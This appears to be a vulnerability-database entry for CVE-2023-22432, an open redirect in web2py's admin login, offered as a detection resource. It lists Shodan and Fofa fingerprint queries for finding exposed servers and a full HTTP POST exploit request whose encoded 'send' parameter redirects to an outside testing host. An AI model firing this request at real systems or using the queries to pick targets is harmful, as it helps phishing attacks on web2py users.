🔙 목록으로 돌아가기

CVE-2023-22432: Web2py URL - Open Redirect

TitleWeb2py URL - Open Redirect
AuthorDhiyaneshDK
SeverityMedium
ImpactAuthenticated attackers can exploit open redirect through the send parameter to redirect users to malicious websites for phishing attacks.
RemediationUpdate to web2py 2.23.1 or higher.
CVSS Score6.1
EPSS Score0.38217
CVE IDCVE-2023-22432
CWE IDCWE-601
Shodan Queryhttp.favicon.hash:-1680052984
Fofa Queryicon_hash=-1680052984
Tags cve cve2023 web2py redirect authenticated vuln

🔍 Vulnerability Description

Open redirect vulnerability exists in web2py versions prior to 2.23.1. When using the tool, a web2py user may be redirected to an arbitrary website by accessing a specially crafted URL. As a result, the user may become a victim of a phishing attack.

🌐 HTTP Request

POST /admin/default/index HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 48
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

password=CYs5yE&send=%5C%2F%5C%2Foast.pro&login=

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-22432.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-22432.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A